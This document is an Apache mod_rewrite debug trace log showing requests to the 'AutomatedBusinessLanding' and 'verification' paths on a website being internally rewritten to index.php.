[Mon Nov 10 18:44:58.115066 2025] [rewrite:trace4] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.115066 2025] [rewrite:trace2] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.115074 2025] [rewrite:trace3] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.115084 2025] [rewrite:trace2] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.115094 2025] [rewrite:trace2] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.115104 2025] [rewrite:trace1] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:21.855012 2025] [rewrite:trace3] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b0017740/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855078 2025] [rewrite:trace3] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b0017740/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855106 2025] [rewrite:trace4] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b0017740/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855129 2025] [rewrite:trace4] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b0017740/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855146 2025] [rewrite:trace4] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b0017740/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855157 2025] [rewrite:trace2] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b0017740/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855203 2025] [rewrite:trace3] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b0017740/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855217 2025] [rewrite:trace2] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b0017740/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855230 2025] [rewrite:trace2] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b0017740/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855232 2025] [rewrite:trace1] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b0017740/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855348 2025] [rewrite:trace3] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b00c0898/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855358 2025] [rewrite:trace3] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b00c0898/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855374 2025] [rewrite:trace3] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b00c0898/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855388 2025] [rewrite:trace4] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b00c0898/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855398 2025] [rewrite:trace3] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b00c0898/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855409 2025] [rewrite:trace3] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b00c0898/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855426 2025] [rewrite:trace3] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b00c0898/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855440 2025] [rewrite:trace4] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b00c0898/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855450 2025] [rewrite:trace1] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b00c0898/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855720 2025] [rewrite:trace3] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b00cdb30/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855730 2025] [rewrite:trace3] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b00cdb30/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855730 2025] [rewrite:trace4] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b00cdb30/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855747 2025] [rewrite:trace4] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b00cdb30/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855782 2025] [rewrite:trace4] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b00cdb30/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855804 2025] [rewrite:trace2] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b00cdb30/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855821 2025] [rewrite:trace3] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b00cdb30/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855839 2025] [rewrite:trace2] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b00cdb30/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855854 2025] [rewrite:trace2] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b00cdb30/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:21.855870 2025] [rewrite:trace1] [pid 12496:tid 12500] mod_rewrite.c(505): [client 185.220.101.145:51601] 185.220.101.145 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80b00cdb30/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.738235 2025] [rewrite:trace3] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a8004c00/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.738296 2025] [rewrite:trace3] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a8004c00/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.738353 2025] [rewrite:trace4] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a8004c00/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.738378 2025] [rewrite:trace4] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a8004c00/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.738391 2025] [rewrite:trace4] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a8004c00/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.738402 2025] [rewrite:trace2] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a8004c00/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.738413 2025] [rewrite:trace3] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a8004c00/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.738426 2025] [rewrite:trace2] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a8004c00/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.738442 2025] [rewrite:trace2] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a8004c00/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.738453 2025] [rewrite:trace1] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a8004c00/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.738575 2025] [rewrite:trace3] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a00ca2d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.738591 2025] [rewrite:trace3] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a00ca2d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.738606 2025] [rewrite:trace3] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a00ca2d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.738974 2025] [rewrite:trace4] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a00ca2d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.738992 2025] [rewrite:trace3] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a00ca2d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.739003 2025] [rewrite:trace3] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a00ca2d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.739017 2025] [rewrite:trace3] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a00ca2d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.739032 2025] [rewrite:trace4] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a00ca2d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.739042 2025] [rewrite:trace1] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a00ca2d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.739264 2025] [rewrite:trace3] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a00d3550/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.739283 2025] [rewrite:trace3] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a00d3550/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.739302 2025] [rewrite:trace4] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a00d3550/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.739354 2025] [rewrite:trace4] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a00d3550/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.739373 2025] [rewrite:trace4] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a00d3550/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.739383 2025] [rewrite:trace2] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a00d3550/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.739393 2025] [rewrite:trace3] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a00d3550/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.739403 2025] [rewrite:trace2] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a00d3550/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.739413 2025] [rewrite:trace2] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a00d3550/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:34.739428 2025] [rewrite:trace1] [pid 12584:tid 12593] mod_rewrite.c(505): [client 124.198.131.62:11576] 124.198.131.62 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a00d3550/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:40.452988 2025] [rewrite:trace3] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f809403eb70/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453088 2025] [rewrite:trace3] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f809403eb70/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453111 2025] [rewrite:trace3] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f809403eb70/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453128 2025] [rewrite:trace4] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f809403eb70/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453148 2025] [rewrite:trace4] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f809403eb70/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
